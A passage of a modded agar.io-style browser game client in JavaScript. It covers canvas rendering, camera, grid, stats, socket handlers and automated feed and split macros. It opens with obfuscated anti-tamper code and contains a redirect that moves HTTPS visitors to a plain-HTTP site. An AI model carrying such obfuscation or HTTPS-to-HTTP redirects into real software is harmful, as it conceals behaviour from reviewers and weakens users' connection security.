if(_0x3d5629){_0x545a97=_0x4ef491['getCookie'](null,'counter');}else{_0x4ef491['removeCookie']();}};_0x5b08bd();}(_0x2c27,0x12f));var _0x1917=function(_0x338ec1,_0x37d333){_0x338ec1=_0x338ec1-0x0;var _0x557429=_0x2c27[_0x338ec1];return _0x557429;};var _0x578c02=function(){var _0x4dc2c4=!![];return function(_0x1fc59f,_0x3962b4){var _0x361b31=_0x4dc2c4?function(){if(_0x3962b4){var _0x22ef4b=_0x3962b4['apply'](_0x1fc59f,arguments);_0x3962b4=null;return _0x22ef4b;}}:function(){};_0x4dc2c4=![];return _0x361b31;};}();var _0x350bce=_0x578c02(this,function(){var _0x305ed=function(){return'\x64\x65\x76';},_0x49c444=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x36ff86=function(){var _0x6c8fc3=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x6c8fc3['\x74\x65\x73\x74'](_0x305ed['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x106c90=function(){var _0x668fee=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x668fee['\x74\x65\x73\x74'](_0x49c444['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x1133b7=function(_0x285a95){var _0x243665=~-0x1>>0x1+0xff%0x0;if(_0x285a95['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x243665)){_0x490a22(_0x285a95);}};var _0x490a22=function(_0x3528a3){var _0xf07d9f=~-0x4>>0x1+0xff%0x0;if(_0x3528a3['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0xf07d9f){_0x1133b7(_0x3528a3);}};if(!_0x36ff86()){if(!_0x106c90()){_0x1133b7('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x1133b7('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x1133b7('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x350bce();function _0x21a6d1(_0x26f45a,_0x425c30,_0x2f4d7a,_0x2c905d,_0xa616d5,_0x3d5d77,_0x34f35e){var _0x355834={};_0x355834[_0x1917('0x0')]=_0x1917('0x1');_0x355834[_0x1917('0x2')]=function(_0x58f586,_0x12db35){return _0x58f586-_0x12db35;};_0x355834['\x62\x4e\x61\x66\x62']=function(_0x9b0d47,_0x2caaba){return _0x9b0d47/_0x2caaba;};_0x355834['\x55\x61\x4a\x51\x57']=function(_0x2caad0,_0x474453){return _0x2caad0*_0x474453;};_0x355834[_0x1917('0x3')]=function(_0x1cc0f7,_0xbae8dd){return _0x1cc0f7<_0xbae8dd;};_0x355834[_0x1917('0x4')]='\x37\x7c\x31\x7c\x34\x7c\x33\x7c\x30\x7c\x36\x7c\x35\x7c\x32';_0x355834[_0x1917('0x5')]=function(_0x524258,_0x1b6558){return _0x524258+_0x1b6558;};_0x355834[_0x1917('0x6')]=function(_0x4bb8f2,_0x4f1d03){return _0x4bb8f2*_0x4f1d03;};_0x355834[_0x1917('0x7')]=function(_0x153aca,_0x4d463f){return _0x153aca+_0x4d463f;};var _0x19794d=_0x355834[_0x1917('0x0')][_0x1917('0x8')]('\x7c'),_0x53b6af=0x0;while(!![]){switch(_0x19794d[_0x53b6af++]){case'\x30':var _0x4a639d=_0x425c30;continue;case'\x31':_0x26f45a[_0x1917('0x9')]=_0x34f35e;continue;case'\x32':_0x26f45a[_0x1917('0xa')]();continue;case'\x33':_0x26f45a[_0x1917('0xb')]=_0x34f35e;continue;case'\x34':_0x26f45a['\x6c\x69\x6e\x65\x54\x6f'](_0x425c30,_0x355834[_0x1917('0x2')](_0x2f4d7a,_0xa616d5));continue;case'\x35':_0x26f45a[_0x1917('0xc')]();continue;case'\x36':_0x26f45a[_0x1917('0xd')]=0x5;continue;case'\x37':_0x26f45a[_0x1917('0xe')]();continue;case'\x38':var _0x33d339=_0x355834[_0x1917('0xf')](Math['\x50\x49'],_0x2c905d);continue;case'\x39':var _0x5d2c83=_0x2f4d7a;continue;case'\x31\x30':_0x26f45a[_0x1917('0x10')](_0x425c30,_0x355834['\x7a\x78\x4e\x45\x4c'](_0x2f4d7a,_0xa616d5));continue;case'\x31\x31':_0x26f45a[_0x1917('0x11')]();continue;case'\x31\x32':var _0x231b56=_0x355834[_0x1917('0x12')](Math['\x50\x49']/0x2,0x3);continue;case'\x31\x33':for(var _0x4bd94b=0x0;_0x355834[_0x1917('0x3')](_0x4bd94b,_0x2c905d);_0x4bd94b++){var _0x569a4d=_0x355834[_0x1917('0x4')][_0x1917('0x8')]('\x7c'),_0x1b3ec6=0x0;while(!![]){switch(_0x569a4d[_0x1b3ec6++]){case'\x30':_0x4a639d=_0x355834[_0x1917('0x5')](_0x425c30,_0x355834[_0x1917('0x6')](Math['\x63\x6f\x73'](_0x231b56),_0x3d5d77));continue;case'\x31':_0x5d2c83=_0x355834[_0x1917('0x5')](_0x2f4d7a,_0x355834[_0x1917('0x6')](Math['\x73\x69\x6e'](_0x231b56),_0xa616d5));continue;case'\x32':_0x231b56+=_0x33d339;continue;case'\x33':_0x231b56+=_0x33d339;continue;case'\x34':_0x26f45a[_0x1917('0x13')](_0x4a639d,_0x5d2c83);continue;case'\x35':_0x26f45a[_0x1917('0x13')](_0x4a639d,_0x5d2c83);continue;case'\x36':_0x5d2c83=_0x355834[_0x1917('0x7')](_0x2f4d7a,Math['\x73\x69\x6e'](_0x231b56)*_0x3d5d77);continue;case'\x37':_0x4a639d=_0x425c30+_0x355834[_0x1917('0x6')](Math[_0x1917('0x14')](_0x231b56),_0xa616d5);continue;}break;}}continue;}break;}};
  3405.    
  3406.     function requestAnimationFrame() {
  3407.         return 1 * Math.max(height / 1080, width / 1920) * text;
  3408.     }
  3409.  
  3410.     function frame() {
  3411.         if (0 != data.length) {
  3412.             if (UI.isEnableLockZoom) {
  3413.                 offset = requestAnimationFrame();
  3414.             } else {
  3415.                 var offset = 0;
  3416.                 var i = 0;
  3417.                 for (; i < data.length; i++) {
  3418.                     offset += data[i].size;
  3419.                 }
  3420.                 offset = Math.pow(Math.min(64 / offset, 1), 0.4) * requestAnimationFrame();
  3421.             }
  3422.             scale = (9 * scale + offset) / 10;
  3423.         }
  3424.     }
  3425.  
  3426.     function render() {
  3427.         var j;
  3428.         var diff = Date.now();
  3429.         if (++target, max = diff, 0 < data.length) {
  3430.             frame();
  3431.             var pos = j = 0;
  3432.             var c = 0;
  3433.             for (; c < data.length; c++) {
  3434.                 data[c].J();
  3435.                 j += data[c].x / data.length;
  3436.                 pos += data[c].y / data.length;
  3437.             }
  3438.             chunk = j;
  3439.             loc = pos;
  3440.             crashed = scale;
  3441.             if (UI.smoothCamera) {
  3442.                 centerX = (testingVal * centerX + chunk) / (testingVal + 1);
  3443.                 centerY = (testingVal * centerY + loc) / (testingVal + 1);
  3444.                 console.log(testingVal + 1);
  3445.             } else {
  3446.                 centerX = (centerX + j) / 2;
  3447.                 centerY = (centerY + pos) / 2;
  3448.             }
  3449.         } else {
  3450.             centerX = (29 * centerX + chunk) / 30;
  3451.             centerY = (29 * centerY + loc) / 30;
  3452.             scale = (9 * scale + crashed * requestAnimationFrame()) / 10;
  3453.         }
  3454.         _root = null;
  3455.         paint();
  3456.         if (!dest) {
  3457.             context.clearRect(0, 0, width, height);
  3458.         }
  3459.         if (dest) {
  3460.             context.fillStyle = color ? "#111111" : "#F2FBFF";
  3461.             context.globalAlpha = 0.05;
  3462.             context.fillRect(0, 0, width, height);
  3463.             context.globalAlpha = 1;
  3464.         } else {
  3465.             redraw();
  3466.         }
  3467.         list.sort(function(a, b) {
  3468.             return a.size == b.size ? a.id - b.id : a.size - b.size;
  3469.         });
  3470.         context.save();
  3471.         context.translate(width / 2, height / 2);
  3472.         context.scale(scale, scale);
  3473.         context.translate(-centerX, -centerY);
  3474.         j = [right, top, left, computed];
  3475.         drawText(j, context);
  3476.         if (UI.isEnableMapGrid) {
  3477.             draw(j, context);
  3478.         }
  3479.         c = 0;
  3480.         for (; c < siblings.length; c++) {
  3481.             siblings[c].s(context);
  3482.         }
  3483.         c = 0;
  3484.         for (; c < list.length; c++) {
  3485.             list[c].s(context);
  3486.         }
  3487.         if (0 < positions.length) {
  3488.             context.fillStyle = $("#pelletColor").minicolors("value");
  3489.             context.beginPath();
  3490.             j = 0;
  3491.             for (; j < positions.length; j++) {
  3492.                 pos = positions[j];
  3493.                 context.moveTo(pos.x, pos.y);
  3494.                 context.arc(pos.x, pos.y, pos.size + 5, 0, PIx2, false);
  3495.             }
  3496.             context.fill();
  3497.             positions = [];
  3498.         }
  3499.         var importantCells = [];
  3500.         for(var i = 0; i < arr2.length; i++) {
  3501.             importantCells.push({
  3502.                 x: arr2[i].x,
  3503.                 y: arr2[i].y,
  3504.                 size: arr2[i].size,
  3505.                 name: arr2[i].name
  3506.             });
  3507.         }
  3508.         arr2 = [];
  3509.         for (var i = 0; i < importantCells.length; i++) {
  3510.             var cell = importantCells[i];
  3511.             var name = cell.name;
  3512.             var code = name.split("$")[1];
  3513.             if (UI.isEnableDrawHats && hatsURL.hasOwnProperty(code)) {
  3514.                 context.globalAlpha = $('#hatOpacity').val();
  3515.                 hatsImages[code] && context.drawImage(hatsImages[code], cell.x - cell.size, cell.y - cell.size - cell.size * 1.66, 2 * cell.size, 2 * cell.size);
  3516.             }
  3517.         }
  3518.         importantCells = [];
  3519.         var code = "";
  3520.         data.length && (code = data[0].name.split("$")[1]);
  3521.         if (UI.isEnableDrawHats && data.length && hatsURL.hasOwnProperty(code)) {
  3522.             for (var i = 0; i < data.length; ++i) {
  3523.                 var cell = data[i];
  3524.                 context.globalAlpha = $('#hatOpacity').val();
  3525.                 hatsImages[code] && context.drawImage(hatsImages[code], cell.x - cell.size, cell.y - cell.size - cell.size * 1.66, 2 * cell.size, 2 * cell.size);
  3526.             }
  3527.         }
  3528.         if (data.length && UI.isEnableSplitInd) {
  3529.             context.globalAlpha = 0.7;
  3530.             pos = ~~Math.min(5 / scale, 50);
  3531.             context.lineWidth = pos;
  3532.             c = [];
  3533.             j = 0;
  3534.             for (; j < data.length; j++) {
  3535.                 c.push({
  3536.                     x: data[j].x,
  3537.                     y: data[j].y,
  3538.                     size: data[j].size
  3539.                 });
  3540.             }
  3541.             c.sort(function(a, b) {
  3542.                 return a.size - b.size;
  3543.             });
  3544.             j = 0;
  3545.             for (; j < arr.length; j++) {
  3546.                 var radius = arr[j].size * arr[j].size;
  3547.                 var i = 0;
  3548.                 for (; i < c.length; i++) {
  3549.                     var r = c[i].size * c[i].size;
  3550.                     var g = Math.sqrt(Math.pow(c[i].x - arr[j].x, 2) + Math.pow(c[i].y - arr[j].y, 2));
  3551.                     var ml = c[i].size + 655;
  3552.                     var b = arr[j].size + 655;
  3553.                     if (4 >= c.length && (0.375 * r * 0.37 > radius && 2 * ml - 10 > g)) {
  3554.                         arr[j].type = 4;
  3555.                         break;
  3556.                     }
  3557.                     if (8 >= c.length && (0.37 * r > radius && ml > g)) {
  3558.                         arr[j].type = 2;
  3559.                         break;
  3560.                     }
  3561.                     if (0.73 * r > radius && ml > g) {
  3562.                         arr[j].type = 1;
  3563.                         break;
  3564.                     }
  3565.                     if (0.37 * radius > r && b > g) {
  3566.                         arr[j].type = -2;
  3567.                         break;
  3568.                     }
  3569.                     if (0.73 * radius > r && b > g) {
  3570.                         arr[j].type = -1;
  3571.                         break;
  3572.                     }
  3573.                 }
  3574.             }
  3575.             c = 0;
  3576.             for (; c < items.length; c++) {
  3577.                 context.strokeStyle = items[c].color;
  3578.                 context.beginPath();
  3579.                 j = 0;
  3580.                 for (; j < arr.length; j++) {
  3581.                     if (arr[j].type) {
  3582.                         if (arr[j].type == items[c].type) {
  3583.                             radius = arr[j].size + pos + 8 + 2 / scale;
  3584.                             context.moveTo(arr[j].x + radius, arr[j].y);
  3585.                             context.arc(arr[j].x, arr[j].y, radius, 0, PIx2, false);
  3586.                         }
  3587.                     }
  3588.                 }
  3589.                 context.stroke();
  3590.             }
  3591.         }
  3592.         if (arr = [], Xe) {
  3593.             node = (3 * node + fragment) / 4;
  3594.             n = (3 * n + m) / 4;
  3595.             context.save();
  3596.             context.strokeStyle = "#FFAAAA";
  3597.             context.lineWidth = 10;
  3598.             context.lineCap = "round";
  3599.             context.lineJoin = "round";
  3600.             context.globalAlpha = 0.5;
  3601.             context.beginPath();
  3602.             c = 0;
  3603.             for (; c < data.length; c++) {
  3604.                 context.moveTo(data[c].x, data[c].y);
  3605.                 context.lineTo(node, n);
  3606.             }
  3607.             context.stroke();
  3608.             context.restore();
  3609.         }
  3610.         context.restore();
  3611.         if (":teams" == index) {
  3612.             if (img) {
  3613.                 if (img.width) {
  3614.                     context.drawImage(img, width - img.width - 10, 10);
  3615.                 }
  3616.             }
  3617.         }
  3618.         closingAnimationTime = Math.max(closingAnimationTime, pick());
  3619.         diff = Date.now() - diff;
  3620.         if (diff > 1E3 / 60) {
  3621.             resolutionScale -= 0.01;
  3622.         } else {
  3623.             if (1E3 / 65 > diff) {
  3624.                 resolutionScale += 0.01;
  3625.             }
  3626.         }
  3627.         if (0.4 > resolutionScale) {
  3628.             resolutionScale = 0.4;
  3629.         }
  3630.         if (resolutionScale > 1) {
  3631.             resolutionScale = 1;
  3632.         }
  3633.         diff = max - aux;
  3634.         if (!handler() || (to || from)) {
  3635.             newEnd += diff / 2E3;
  3636.             if (newEnd > 1) {
  3637.                 newEnd = 1;
  3638.             }
  3639.         } else {
  3640.             newEnd -= diff / 300;
  3641.             if (0 > newEnd) {
  3642.                 newEnd = 0;
  3643.             }
  3644.         }
  3645.         aux = max;
  3646.     }
  3647.  
  3648.     function redraw() {
  3649.         if (UI.isEnableGridline) {
  3650.             context.save();
  3651.             context.strokeStyle = color ? "white" : "#000000";
  3652.             context.globalAlpha = 0.2 * 0.2;
  3653.             context.lineWidth = 8;
  3654.             context.beginPath();
  3655.             var x = width / scale;
  3656.             var y = height / scale;
  3657.             var bounds = (-centerX + x / 2) % 80;
  3658.             for (; x > bounds; bounds += 80) {
  3659.                 context.moveTo(bounds * scale - 0.5, 0);
  3660.                 context.lineTo(bounds * scale - 0.5, y * scale);
  3661.             }
  3662.             bounds = (-centerY + y / 2) % 80;
  3663.             for (; y > bounds; bounds += 80) {
  3664.                 context.moveTo(0, bounds * scale - 0.5);
  3665.                 context.lineTo(x * scale, bounds * scale - 0.5);
  3666.             }
  3667.             context.stroke();
  3668.             context.restore();
  3669.         }
  3670.     }
  3671.  
  3672.  
  3673.     function pick() {
  3674.         var result = 0;
  3675.         var i = 0;
  3676.         for (; i < data.length; i++) {
  3677.             result += data[i].m * data[i].m;
  3678.         }
  3679.         return result;
  3680.     }
  3681.  
  3682.     function Player(opt_vars, x, y, opt_size, b) {
  3683.         this.P = opt_vars;
  3684.         this.x = x;
  3685.         this.y = y;
  3686.         this.g = opt_size;
  3687.         this.b = b;
  3688.     }
  3689.  
  3690.     function set(value, x, y, size, color, ms) {
  3691.         this.id = value;
  3692.         this.o = this.x = x;
  3693.         this.p = this.y = y;
  3694.         this.n = this.size = size;
  3695.         this.color = color;
  3696.         this.a = [];
  3697.         this.Q();
  3698.         this.t(ms);
  3699.     }
  3700.  
  3701.     function flush(count) {
  3702.         count = count.toString(16);
  3703.         for (; 6 > count.length;) {
  3704.             count = "0" + count;
  3705.         }
  3706.         return "#" + count;
  3707.     }
  3708.  
  3709.     function module(moduleNames, moduleDefinition, name, radius) {
  3710.         if (moduleNames) {
  3711.             this.q = moduleNames;
  3712.         }
  3713.         if (moduleDefinition) {
  3714.             this.M = moduleDefinition;
  3715.         }
  3716.         this.O = !!name;
  3717.         if (radius) {
  3718.             this.r = radius;
  3719.         }
  3720.     }
  3721.  
  3722.     function shuffle(arr) {
  3723.         var tmp1;
  3724.         var rnd;
  3725.         var total = arr.length;
  3726.         for (; total > 0;) {
  3727.             rnd = Math.floor(Math.random() * total);
  3728.             total--;
  3729.             tmp1 = arr[total];
  3730.             arr[total] = arr[rnd];
  3731.             arr[rnd] = tmp1;
  3732.         }
  3733.     }
  3734.     function drawText(g, ctx) {
  3735.         if (UI.isEnableBorder) {
  3736.             ctx.save();
  3737.             ctx.beginPath();
  3738.             ctx.strokeStyle = $("#borderColor").minicolors("value");
  3739.             var bw = ctx.lineWidth = 200;
  3740.             ctx.lineCap = "round";
  3741.             ctx.lineJoin = "round";
  3742.             ctx.strokeRect(g[0] - bw / 2, g[1] - bw / 2, g[2] - g[0] + bw, g[3] - g[1] + bw);
  3743.             ctx.restore();
  3744.         }
  3745.     }
  3746.     $("head").append('<link href="https://fonts.googleapis.com/css?family=Gugi" rel="stylesheet">');
  3747.     function draw(t, ctx) {
  3748.         var x = Math.round(t[0]) + 40;
  3749.         var y = Math.round(t[1]) + 40;
  3750.         var second = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
  3751.         var barWidth = (Math.round(t[2]) - 40 - x) / 5;
  3752.         var h = (Math.round(t[3]) - 40 - y) / 5;
  3753.         ctx.save();
  3754.         ctx.beginPath();
  3755.         ctx.lineWidth = 20;
  3756.         ctx.textAlign = "center";
  3757.         ctx.textBaseline = "middle";
  3758.         ctx.font = UI.getLocationsSize() * barWidth + "px Gugi";
  3759.         ctx.fillStyle = $("#locationColor").minicolors("value");
  3760.         var j = 0;
  3761.         for (; 5 > j; j++) {
  3762.             var i = 0;
  3763.             for (; 5 > i; i++) {
  3764.                 ctx.fillText(second[j] + (i + 1), x + barWidth * i + barWidth / 2, y + h * j + h / 2);
  3765.             }
  3766.         }
  3767.         ctx.lineWidth = 20;
  3768.         ctx.strokeStyle = $("#gridColor").minicolors("value");
  3769.         j = 0;
  3770.         for (; 5 > j; j++) {
  3771.             i = 0;
  3772.             for (; 5 > i; i++) {
  3773.                 ctx.strokeRect(x + barWidth * i, y + h * j, barWidth, h);
  3774.             }
  3775.         }
  3776.         ctx.stroke();
  3777.         ctx.restore();
  3778.     }
  3779.  
  3780.     function callback(href) {
  3781.         if (self.history) {
  3782.             if (self.history.replaceState) {
  3783.                 self.history.replaceState({}, self.document.title, href);
  3784.             }
  3785.         }
  3786.     }
  3787.  
  3788.     function setData(node, data) {
  3789.         var o = -1 != result.indexOf(node.id);
  3790.         var n = -1 != result.indexOf(data.id);
  3791.         var i = 30 > data.size;
  3792.         if (o) {
  3793.             if (i) {
  3794.                 ++pauseText;
  3795.             }
  3796.         }
  3797.         if (!i) {
  3798.             if (o) {
  3799.                 if (!n) {
  3800.                     ++path;
  3801.                 }
  3802.             }
  3803.         }
  3804.     }
  3805.  
  3806.     function fill(i) {
  3807.         i = ~~i;
  3808.         var lineNumber = (i % 60).toString();
  3809.         return i = (~~(i / 60)).toString(), 2 > lineNumber.length && (lineNumber = "0" + lineNumber), i + ":" + lineNumber;
  3810.     }
  3811.  
  3812.     function endsWith() {
  3813.         if (null == users) {
  3814.             return 0;
  3815.         }
  3816.         var i = 0;
  3817.         for (; i < users.length; ++i) {
  3818.             if (-1 != result.indexOf(users[i].id)) {
  3819.                 return i + 1;
  3820.             }
  3821.         }
  3822.         return 0;
  3823.     }
  3824.  
  3825.     function DrawPolyline() {
  3826.         jQuery(".stats-food-eaten").text(pauseText);
  3827.         jQuery(".stats-time-alive").text(fill((far - near) / 1E3));
  3828.         jQuery(".stats-leaderboard-time").text(fill(name));
  3829.         jQuery(".stats-highest-mass").text(~~(closingAnimationTime / 100));
  3830.         jQuery(".stats-cells-eaten").text(path);
  3831.         jQuery(".stats-top-position").text(0 == count ? ":(" : count);
  3832.         var h = document.getElementById("statsGraph");
  3833.         if (h) {
  3834.             var ctx = h.getContext("2d");
  3835.             var width = h.width;
  3836.             if (h = h.height, ctx.clearRect(0, 0, width, h), 2 < a.length) {
  3837.                 var n = 200;
  3838.                 var i = 0;
  3839.                 for (; i < a.length; i++) {
  3840.                     n = Math.max(a[i], n);
  3841.                 }
  3842.                 ctx.lineWidth = 3;
  3843.                 ctx.lineCap = "round";
  3844.                 ctx.lineJoin = "round";
  3845.                 ctx.strokeStyle = col;
  3846.                 ctx.fillStyle = col;
  3847.                 ctx.beginPath();
  3848.                 ctx.moveTo(0, h - a[0] / n * (h - 10) + 10);
  3849.                 i = 1;
  3850.                 for (; i < a.length; i += Math.max(~~(a.length / width), 1)) {
  3851.                     var x = i / (a.length - 1) * width;
  3852.                     var r = [];
  3853.                     var offset = -20;
  3854.                     for (; 20 >= offset; ++offset) {
  3855.                         if (!(0 > i + offset)) {
  3856.                             if (!(i + offset >= a.length)) {
  3857.                                 r.push(a[i + offset]);
  3858.                             }
  3859.                         }
  3860.                     }
  3861.                     r = r.reduce(function(far, near) {
  3862.                         return far + near;
  3863.                     }) / r.length / n;
  3864.                     ctx.lineTo(x, h - r * (h - 10) + 10);
  3865.                 }
  3866.                 ctx.stroke();
  3867.                 ctx.globalAlpha = 0.5;
  3868.                 ctx.lineTo(width, h);
  3869.                 ctx.lineTo(0, h);
  3870.                 ctx.fill();
  3871.                 ctx.globalAlpha = 1;
  3872.             }
  3873.         }
  3874.     }
  3875.     var simpleExpected = {
  3876.         context: function() {
  3877.             return g_context;
  3878.         },
  3879.         playerCellIds: function() {
  3880.             return g_playerCellIds;
  3881.         },
  3882.         playerCells: function() {
  3883.             return data;
  3884.         },
  3885.         cellsById: function() {
  3886.             return g_cellsById;
  3887.         },
  3888.         cells: function() {
  3889.             return g_cells;
  3890.         }
  3891.     };
  3892.     if (socket.on("playerUpdated", function(p) {
  3893.             if ("join" == p.action || "spectate" == p.action) {
  3894.                 if (0 < simpleExpected.playerCells().length) {
  3895.                     conn.emit("playerUpdated", bind("update"));
  3896.                 }
  3897.             }
  3898.             if (p.identifier) {
  3899.                 playerDetailsByIdentifier[p.identifier] = p;
  3900.                 playerDetailsByNick[p.nick] = p;
  3901.             }
  3902.         }), self.moveTo = function(lab, dragging) {
  3903.             if (lab) {
  3904.                 if (dragging) {
  3905.                     UI.isStopMovement = true;
  3906.                 }
  3907.             }
  3908.         }, self.setPosition = function(p, index) {
  3909.             if (handler()) {
  3910.                 var buf = encode(13);
  3911.                 buf.setUint8(0, 16);
  3912.                 buf.setInt32(1, p, true);
  3913.                 buf.setInt32(5, index, true);
  3914.                 buf.setUint32(9, 0, true);
  3915.                 cb(buf);
  3916.             }
  3917.         }, window.handleQuickW = function() {
  3918.             if (UI.autoW) {
  3919.                 var buf = encode(1);
  3920.                 buf.setUint8(0, 21);
  3921.                 cb(buf);
  3922.                 setTimeout(handleQuickW, 100);
  3923.             }
  3924.         }, !self.UINoInit) {
  3925.         var ee = "https:" == self.location.protocol;
  3926.         if (ee && -1 == self.location.search.indexOf("fb")) {
  3927.             self.location.href = "http://thexazz.com/";
  3928.         } else {
  3929.             var cv;
  3930.             var context;
  3931.             var cnv;
  3932.             var width;
  3933.             var height;
  3934.             var _root = null;
  3935.             var ws = null;
  3936.             var centerX = 0;
  3937.             var centerY = 0;
  3938.             var result = [];
  3939.             var data = [];
  3940.             var queue = {};
  3941.             var list = [];
  3942.             var siblings = [];
  3943.             var users = [];
  3944.             var x = 0;
  3945.             var y = 0;
  3946.             var minX = -1;
  3947.             var t = -1;
  3948.             var target = 0;
  3949.             var max = 0;
  3950.             var aux = 0;
  3951.             var b = null;
  3952.             var right = -7071.067811865476;
  3953.             var top = -7071.06781186547;
  3954.             var left = 7071.067811865476;
  3955.             var computed = 7071.067811865476;
  3956.             var layers = 0;
  3957.             var dependencies = 0;
  3958.             var stack = 0;
  3959.             var before = 0;
  3960.             var scale = 1;
  3961.             var value = null;
  3962.             var error = true;
  3963.             var oldStatus = true;
  3964.             var doneResults = false;
  3965.             var Ee = false;
  3966.             var closingAnimationTime = 0;
  3967.             var color = 1;
  3968.             var $timeout = false;
  3969.             var chunk = centerX = ~~((right + left) / 2);
  3970.             var loc = centerY = ~~((top + computed) / 2);
  3971.             var crashed = 1;
  3972.             var index = "";
  3973.             var angles = null;
  3974.             var Ze = false;
  3975.             var Xe = false;
  3976.             var fragment = 0;
  3977.             var m = 0;
  3978.             var node = 0;
  3979.             var n = 0;
  3980.             var compassResult = 0;
  3981.             var cs = ["#333333", "#FF3333", "#33FF33", "#3333FF"];
  3982.             var dest = false;
  3983.             var matchEnd = false;
  3984.             var min = 0;
  3985.             var text = 1;
  3986.             var newEnd = 1;
  3987.             var to = false;
  3988.             var last = 0;
  3989.             var dst = {};
  3990.             var c = "";
  3991.             var deep = 0;
  3992.             var arr = [];
  3993.             var arr2 = [];
  3994.             var PIx2 = 2 * Math.PI;
  3995.             var column = 0;
  3996.             var clockseq = 0;
  3997.             var fx = 0;
  3998.             var _clockseq = 0;
  3999.             var type = 0;
  4000.             var positions = [];
  4001.             var items = [{
  4002.                 type: 1,
  4003.                 color: "#d3d3d3"
  4004.             }, {
  4005.                 type: 2,
  4006.                 color: "#76FF03"
  4007.             }, {
  4008.                 type: 4,
  4009.                 color: "#2196F3"
  4010.             }, {
  4011.                 type: -1,
  4012.                 color: "#FF9800"
  4013.             }, {
  4014.                 type: -2,
  4015.                 color: "#FD0000"
  4016.             }, {
  4017.                 type: -4,
  4018.                 color: "white"
  4019.             }];
  4020.             setInterval(function() {
  4021.                 _clockseq = clockseq;
  4022.                 clockseq = 0;
  4023.                 type = fx;
  4024.                 fx = 0;
  4025.             }, 1E3);
  4026.             (function() {
  4027.                 var params = self.location.search;
  4028.                 if ("?" == params.charAt(0)) {
  4029.                     params = params.slice(1);
  4030.                 }
  4031.                 params = params.split("&");
  4032.                 var i = 0;
  4033.                 for (; i < params.length; i++) {
  4034.                     var src = params[i].split("=");
  4035.                     dst[src[0]] = src[1];
  4036.                 }
  4037.             })();
  4038.             var test_canvas = document.createElement("canvas");
  4039.             if ("undefined" == typeof console || ("undefined" == typeof DataView || ("undefined" == typeof WebSocket || (null == test_canvas || (null == test_canvas.getContext || null == self.localStorage))))) {
  4040.                 alert("You browser does not support this game, we recommend you to use Firefox to play this");
  4041.             } else {
  4042.                 var old = null;
  4043.                 self.setNick = function(v) {
  4044.                     if (self.ga) {
  4045.                         self.ga("send", "event", "Nick", v.toLowerCase());
  4046.                     }
  4047.                     _init();
  4048.                     b = v;
  4049.                     writeUTFBytes();
  4050.                     closingAnimationTime = 0;
  4051.                     setLocalStorage("nick", v);
  4052.                     UI.newGame();
  4053.                     announcementSent = false;
  4054.                     resolve();
  4055.                 };
  4056.                 self.setSkins = function(err) {
  4057.                     error = err;
  4058.                 };
  4059.                 self.setNames = function(newStatus) {
  4060.                     oldStatus = newStatus;
  4061.                 };
  4062.                 self.setDarkTheme = function(newColor) {
  4063.                     color = newColor;
  4064.                 };
  4065.                 self.setColors = function(data) {
  4066.                     doneResults = data;
  4067.                 };
  4068.                 self.setShowMass = function(_$timeout_) {
  4069.                     $timeout = _$timeout_;
  4070.                 };
  4071.                 self.getCurrentX = function() {
  4072.                     return data.length ? centerX - (left - 7071.067811865476) : "";
  4073.                 };
  4074.                 self.getCurrentY = function() {
  4075.                     return data.length ? centerY - (computed - 7071.067811865476) : "";
  4076.                 };
  4077.                 self.getTop1X = function() {
  4078.                     return chunk;
  4079.                 };
  4080.                 self.getTop1Y = function() {
  4081.                     return loc;
  4082.                 };
  4083.                 self.getLengthX = function() {
  4084.                     return 14142.135623730952;
  4085.                 };
  4086.                 self.getLengthY = function() {
  4087.                     return 14142.135623730952;
  4088.                 };
  4089.                 self.getLB = function() {
  4090.                     return users;
  4091.                 };
  4092.                 self.getSelfIDs = function() {
  4093.                     return result;
  4094.                 };
  4095.                 self.getCell = function() {
  4096.                     return data;
  4097.                 };
  4098.                 self.getHighestScore = function() {
  4099.                     return closingAnimationTime;
  4100.                 };
  4101.                 self.currentMass = function() {
  4102.                     return pick();
  4103.                 };
  4104.                 self.quickSpace = function() {
  4105.                     if (0 != data.length) {
  4106.                         emit(17);
  4107.                         setTimeout(function() {
  4108.                             emit(17);
  4109.                         }, 40);
  4110.                         setTimeout(function() {
  4111.                             emit(17);
  4112.                         }, 80);
  4113.                         setTimeout(function() {
  4114.                             emit(17);
  4115.                         }, 120);
  4116.                     }
  4117.                 };
  4118.                 self.doubleSpace = function() {
  4119.                     setTimeout(function() {
  4120.                         emit(17);
  4121.                     }, 50);
  4122.                     setTimeout(function() {
  4123.                         emit(17);
  4124.                     }, 100);
  4125.                 };
  4126.                 self.getFPS = function() {
  4127.                     return deep;
  4128.                 };
  4129.                 self.getPacketIO = function() {
  4130.                     return [_clockseq, type];
  4131.                 };
  4132.                 self.spectate = function() {
  4133.                     isJoinedGame = false;
  4134.                     spectateMode = true;
  4135.                     b = null;
  4136.                     emit(1);
  4137.                     _init();
  4138.                     UI.spectate(data);
  4139.                     var cb = bind("spectate");
  4140.                     conn.emit("playerEntered", cb);
  4141.                 };
  4142.                 self.setZoomLevel = function(textAlt) {
  4143.                     text = textAlt;
  4144.                 };
  4145.                 self.isFreeSpec = function() {
  4146.                     return UI.isSpectating && 0.25 === column;
  4147.                 };
  4148.                 self.setAcid = function(vec) {
  4149.                     dest = vec;
  4150.                 };
  4151.                 if (null != self.localStorage) {
  4152.                     if (null == self.localStorage.AB9) {
  4153.                         self.localStorage.AB9 = 0 + ~~(100 * Math.random());
  4154.                     }
  4155.                     compassResult = +self.localStorage.AB9;
  4156.                     self.ABGroup = compassResult;
  4157.                 }
  4158.                 var save = null;
  4159.                 self.connect = open;
  4160.                 var duration = 500;
  4161.                 var tref = null;
  4162.                 var millis = 0;
  4163.                 var maxX = -1;
  4164.                 var t1 = -1;
  4165.                 var img = null;
